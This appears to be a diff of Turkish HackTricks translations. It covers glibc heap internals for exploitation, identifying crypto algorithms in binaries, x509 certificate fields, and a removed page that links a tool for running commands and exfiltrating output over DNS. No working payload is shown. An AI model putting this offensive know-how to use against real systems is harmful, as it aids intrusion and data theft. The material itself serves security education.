Bu ilkelere sahip olarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).
{{#include /banners/hacktricks-training.md}}

View File

@ -1,10 +1,12 @@
# Libc Heap
{{#include /banners/hacktricks-training.md}}
## Heap Temelleri
Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri talep ettiğinde verileri depolayabileceği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir.
Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri depolamak için talep ettiği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir.
Görüldüğü gibi, bu bellek, ikili dosyanın bellekte yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
Görüldüğü gibi, bu bellek, ikili dosyanın belleğe yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
@ -25,28 +27,28 @@ Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği h
## Arenalar
**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının aynı anda heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı.
**Çok iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılarak bu sağlanıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı.
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena** kendi **veri yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena**, **kendi** veri **yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenalar kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Limit aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çok iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
### Alt Heap'ler
Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
Alt heap'ler, çok iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
1. **Başlangıç Heap'i vs. Alt Heap'ler**:
- Başlangıç heap'i, programın ikili dosyasının bellekte hemen ardından yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
- Başlangıç heap'i, programın ikili dosyasının bellekte hemen arkasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
- İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur.
2. **`mmap` ile Bellek Rezervasyonu**:
- Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
- Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
3. **`mprotect` ile Aşamalı Genişleme**:
- Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
- Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve çekirdeği daha önce rezerve edilen adreslere fiziksel bellek tahsis etmeye yönlendirir. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
- Tüm alt heap tükendiğinde, heap yöneticisi yeni bir alt heap oluşturur.
- Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana fiziksel bellek tahsis etmesine gerek olmadığı anlamına gelir.
- Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce rezerve edilen adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
- Tüm alt heap tükendiğinde, heap yöneticisi tahsise devam etmek için yeni bir alt heap oluşturur.
### heap_info <a href="#heap_info" id="heap_info"></a>
@ -72,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
**Her heap** (ana arena veya diğer thread arenaları) bir **`malloc_state` yapısına sahiptir.**\
**Ana arena `malloc_state`** yapısının **libc'de global bir değişken olduğunu** belirtmek önemlidir (bu nedenle libc bellek alanında yer alır).\
**Thread'lerin heap'lerinin `malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır.
Thread'lerin heap'lerinin **`malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır.
Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
@ -89,10 +91,10 @@ Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
```
- `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0. indeks kullanılmadığı için -2).
- Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geri işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir **libc**'de.
- Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geri işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
- `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir.
- `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
- `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde, kalan kısmın işaretçisinin buraya yerleştirildiği durumlardan gelir.
- `top` chunk, son "chunk"tır ve temelde **tüm heap hatırlatma alanıdır**. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
- `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde ortaya çıkar; burada kalan kısmın işaretçisi yer alır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -142,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
```
### malloc_chunk
Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanlar, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamlara sahiptir.
Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanların, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamları vardır.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
@ -157,17 +159,17 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
Daha önce belirtildiği gibi, bu parçaların bazı meta verileri de vardır, bu görüntüde çok iyi temsil edilmiştir:
Daha önce belirtildiği gibi, bu parçaların bazı meta verileri de vardır, bu resimde çok iyi temsil edilmiştir:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
Meta veri genellikle mevcut parça boyutunu gösteren 0x08B'dir ve son 3 bit ile şunları belirtir:
Meta veri genellikle 0x08B olup, mevcut parça boyutunu belirtmek için son 3 biti kullanır:
- `A`: 1 ise bir alt yığın, 0 ise ana arenadadır
- `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın parçası değildir
- `P`: 1 ise, önceki parça kullanımdadır
- `A`: Eğer 1 ise bir alt yığın (subheap) içindendir, eğer 0 ise ana arenadadır
- `M`: Eğer 1 ise, bu parça mmap ile tahsis edilmiş bir alanın parçasıdır ve bir yığın değildir
- `P`: Eğer 1 ise, önceki parça kullanımdadır
Sonra, kullanıcı verileri için alan ve nihayet parça mevcut olduğunda önceki parça boyutunu belirtmek için 0x08B (veya tahsis edildiğinde kullanıcı verilerini depolamak için) gelir.
Sonra, kullanıcı verileri için alan ve nihayet 0x08B, parça mevcut olduğunda önceki parça boyutunu belirtmek için (veya tahsis edildiğinde kullanıcı verilerini depolamak için) kullanılır.
Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek için kullanılır:
@ -178,8 +180,8 @@ Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Bu şekilde listeyi bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğine dikkat edin.
> [!TIP]
> Listeyi bu şekilde bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğini unutmayın.
### Parça İşaretçileri
@ -259,11 +261,11 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Not edin ki toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
Not edin ki, toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
### Parça verilerini al ve meta verileri değiştir
Bu fonksiyonlar bir parçaya işaretçi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için faydalıdır:
Bu fonksiyonlar, bir parçaya işaretçi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için faydalıdır:
- Parça bayraklarını kontrol et
```c
@ -352,7 +354,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında)
- Başlık ve alt bilgi ayarlayın (parça numaraları kullanıldığında)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -363,7 +365,7 @@ people extending or adapting this malloc.
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Parçanın içindeki gerçek kullanılabilir verinin boyutunu alın
- Parçanın içindeki gerçek kullanılabilir verinin boyutunu al
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
@ -413,9 +415,9 @@ Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede sakla
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliyoruz.
Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) ve bu parçanın uzunluğunun `0x21` olduğunu gösterdiğini görebiliriz.
Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
Rezerve edilen ekstra alan (0x21-0x10=0x11), **eklenen başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16 byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,19 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
# Temel Yükler
- **Basit Liste:** Her satırda bir giriş içeren bir liste
- **Çalışma Zamanı Dosyası:** Çalışma zamanında okunan bir liste (belleğe yüklenmez). Büyük listeleri desteklemek için.
- **Durum Değişikliği:** Bir dizi dize üzerinde bazı değişiklikler uygulama (değişiklik yok, küçük harfe çevir, BÜYÜK HARFE çevir, Özel isim - İlk harf büyük, geri kalanı küçük-, Özel İsim - İlk harf büyük ve geri kalanı aynı kalır-).
- **Sayılar:** X'den Y'ye Z adım kullanarak veya rastgele sayılar oluşturma.
- **Kaba Kuvvet:** Karakter seti, minimum & maksimum uzunluk.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Komutları çalıştırmak ve çıktıyı burpcollab'a DNS istekleri aracılığıyla almak için yük.
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,12 +1,10 @@
# Kriptografik/Sıkıştırma Algoritmaları
## Kriptografik/Sıkıştırma Algoritmaları
{{#include ../../banners/hacktricks-training.md}}
## Algoritmaları Tanımlama
Eğer bir kod **sağa ve sola kaydırma, XOR ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir.
Eğer bir kod **sağ ve sol kaydırmalar, xors ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir.
### API fonksiyonları
@ -46,12 +44,12 @@ Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız:
![](<../../images/image (529).png>)
Bu nedenle, dekompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\
Diğer sabitlerden herhangi birini arayabilirsiniz ve (muhtemelen) aynı sonucu alırsınız.
Diğer sabitlerden herhangi birini ararsanız, (muhtemelen) aynı sonucu alırsınız.
### veri bilgisi
Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\
Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz:
Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve daha önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz:
![](<../../images/image (531).png>)
@ -63,14 +61,14 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta
3 ana bölümden oluşur:
- **Başlatma aşaması/**: **0x00 ile 0xFF arasında değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır.
- **Başlatma aşaması/**: **0x00'dan 0xFF'e kadar değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır.
- **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır.
- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, daha önce oluşturulan değerlerle **XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır.
- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceki değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır.
> [!NOTE]
> **Bir deşifreleme/dekompile edilmiş kodda RC4'ü tanımlamak için 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde daha önce oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak**
> [!TIP]
> **Bir deşifreleme/dekompile edilmiş kodda bir RC4'ü tanımlamak için, 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak.**
### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacı olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin)
### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacın olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin)
![](<../../images/image (584).png>)
@ -87,7 +85,7 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta
### **Özellikler**
- **yer değiştirme kutuları ve arama tabloları** kullanımı
- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili dosyada **saklanabilir** veya _**dinamik olarak**_ _**oluşturulabilir**._
- **Belirli arama tablo değerlerinin** (sabitlerin) kullanımı sayesinde AES'i **ayırmak mümkündür**. _Not edin ki **sabit** ikili **ya da dinamik olarak** _**oluşturulabilir**._
- **Şifreleme anahtarı** **16'ya** (genellikle 32B) **tam bölünebilir** olmalıdır ve genellikle 16B'lik bir **IV** kullanılır.
### SBox sabitleri
@ -99,12 +97,12 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta
### Özellikler
- Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif)
- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğu (son derece uzun fonksiyon)
- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğuna (son derece uzun fonksiyon) dayanarak.
### Tanımlama
Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmaları tarafından da kullanıldığını unutmayın).\
Ayrıca **döngünün boyutuna** (**132**) ve **dekompile** talimatlarındaki ve **kod** örneğindeki **XOR işlemleri sayısına** dikkat edin:
Aşağıdaki görüntüde **0x9E3779B9** sabitinin nasıl kullanıldığına dikkat edin (bu sabitin ayrıca **TEA** -Küçük Şifreleme Algoritması gibi diğer kripto algoritmalarında da kullanıldığını unutmayın).\
Ayrıca, **döngünün boyutuna** (**132**) ve **dekompile** talimatlarındaki XOR işlemlerinin **sayısına** ve **kod** örneğine dikkat edin:
![](<../../images/image (547).png>)
@ -112,7 +110,7 @@ Daha önce belirtildiği gibi, bu kod herhangi bir dekompiler içinde **çok uzu
![](<../../images/image (513).png>)
Bu nedenle, bu algoritmayı **büyü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile **karşılaştırarak** tanımlamak mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme).
Bu nedenle, bu algoritmayı **büyü numarayı** ve **ilk XOR'ları** kontrol ederek, **çok uzun bir fonksiyon** görerek ve uzun fonksiyonun bazı **talimatlarını** bir **uygulama** ile karşılaştırarak tanımlamak mümkündür (örneğin, 7'ye sola kaydırma ve 22'ye sola döndürme).
## RSA **(Asimetrik Kriptografi)**
@ -126,8 +124,8 @@ Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol
![](<../../images/image (1113).png>)
- 11. satırda (solda) `+7) >> 3` var, bu da 35. satırda (sağda) `+7) / 8` ile aynıdır.
- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve 36. satırda (sağda) `inputLen+11 > modulusLen` kontrol ediliyor.
- 11. satırda (solda) `+7) >> 3` var, bu sağdaki 35. satırda da aynı: `+7) / 8`
- 12. satır (solda) `modulus_len < 0x040` kontrol ediyor ve sağdaki 36. satırda `inputLen+11 > modulusLen` kontrol ediliyor.
## MD5 & SHA (hash)
@ -140,19 +138,19 @@ Bu nedenle, bu algoritmayı **büyülü numarayı** ve **ilk XOR'ları** kontrol
**Init**
Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. Not edin ki sha_init'in MD5'de olmayan 1 sabiti vardır:
Her ikisini de sabitleri kontrol ederek tanımlayabilirsiniz. sha_init'in MD5'de olmayan 1 sabiti olduğunu unutmayın:
![](<../../images/image (406).png>)
**MD5 Dönüşümü**
Daha fazla sabit kullanıldığına dikkat edin
Daha fazla sabit kullanımına dikkat edin
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Daha küçük ve daha verimli çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır
- Daha küçük ve daha verimli, çünkü işlevi verilerdeki kazara değişiklikleri bulmaktır
- Sabitleri tanımlamak için arama tabloları kullanır
### Tanımlama
@ -178,7 +176,7 @@ Grafik oldukça büyük:
![](<../../images/image (207) (2) (1).png>)
Bunu tanımak için **3 karşılaştırmayı** kontrol edin:
Bunu tanımak için **3 karşılaştırma** kontrol edin:
![](<../../images/image (430).png>)

View File

@ -1,157 +0,0 @@
# Sertifikalar
{{#include ../banners/hacktricks-training.md}}
## Sertifika Nedir
Bir **açık anahtar sertifikası**, birinin açık anahtara sahip olduğunu kanıtlamak için kriptografide kullanılan dijital bir kimliktir. Anahtarın detaylarını, sahibinin kimliğini (konu) ve güvenilir bir otoriteden (verici) dijital bir imzayı içerir. Yazılım vericiyi güvenilir bulursa ve imza geçerliyse, anahtarın sahibiyle güvenli iletişim mümkündür.
Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate_authority) (CA'lar) tarafından [ık anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Diğer bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dır; burada kullanıcılar birbirlerinin anahtarlarını doğrudan doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509) olup, RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir.
## x509 Ortak Alanlar
### **x509 Sertifikalarında Ortak Alanlar**
x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik rol oynamaktadır. Bu alanların bir dökümü:
- **Sürüm Numarası**, x509 formatının sürümünü belirtir.
- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi (CA) sisteminde benzersiz olarak tanımlar, esasen iptal takibi için kullanılır.
- **Konu** alanı, sertifikanın sahibini temsil eder; bu bir makine, birey veya organizasyon olabilir. Aşağıdaki gibi detaylı kimlik bilgilerini içerir:
- **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar.
- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar.
- **Ayrıcalıklı Ad (DN)**, tam konu kimliğini kapsar.
- **Verici**, sertifikayı kimlerin doğruladığını ve imzaladığını detaylandırır; CA için Konu ile benzer alt alanlar içerir.
- **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığını sağlamak için **Not Before** ve **Not After** zaman damgaları ile işaretlenir.
- **Açık Anahtar** bölümü, sertifikanın güvenliği için kritik olup, açık anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir.
- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır; **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ince ayar yapmak için diğer özellikleri belirtir.
#### **Anahtar Kullanımı ve Uzantılar**
- **Anahtar Kullanımı**, açık anahtarın kriptografik uygulamalarını tanımlar; örneğin dijital imza veya anahtar şifreleme.
- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır; örneğin, TLS sunucu kimlik doğrulaması için.
- **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve bunun bir CA veya son varlık sertifikası olup olmadığını tanımlar.
- **Konu Anahtar Tanımlayıcı** ve **Otorite Anahtar Tanımlayıcı** gibi tanımlayıcılar, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
- **Otorite Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, verici CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yollar sağlar.
- **CT Ön Sertifika SCT'leri**, sertifikaya kamu güveni için kritik olan şeffaflık günlükleri sunar.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
issuer = certificate.issuer
subject = certificate.subject
public_key = certificate.public_key()
print(f"Serial Number: {serial_number}")
print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark**
